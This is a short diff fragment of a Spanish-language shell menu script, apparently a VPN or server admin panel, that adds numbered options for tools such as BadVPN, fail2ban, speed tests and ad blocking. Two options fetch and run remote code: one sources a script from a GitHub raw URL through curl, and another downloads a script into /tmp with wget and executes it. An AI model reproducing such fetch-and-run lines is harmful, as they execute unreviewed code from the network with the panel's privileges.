+#21)fun_chisel && read -p " Enter";;
+21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";;
+22) funBadVPN && read -p " Enter";;
+23) funTCP && read -p " Enter";;
+24) funFAILBAN && read -p " Enter";;
+25) funARQONLINE && read -p " Enter";;
+26) funSPEED && read -p " Enter";;
+27) funDETSYS && read -p " Enter";;
+28) BlockADS && read -p " Enter";;
+29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";;
+31) BlockADS && read -p " Enter";;
+30) fun_bar 'fun_ports' && read -p " Enter";;
+esac
+done
+#Reinicia ADM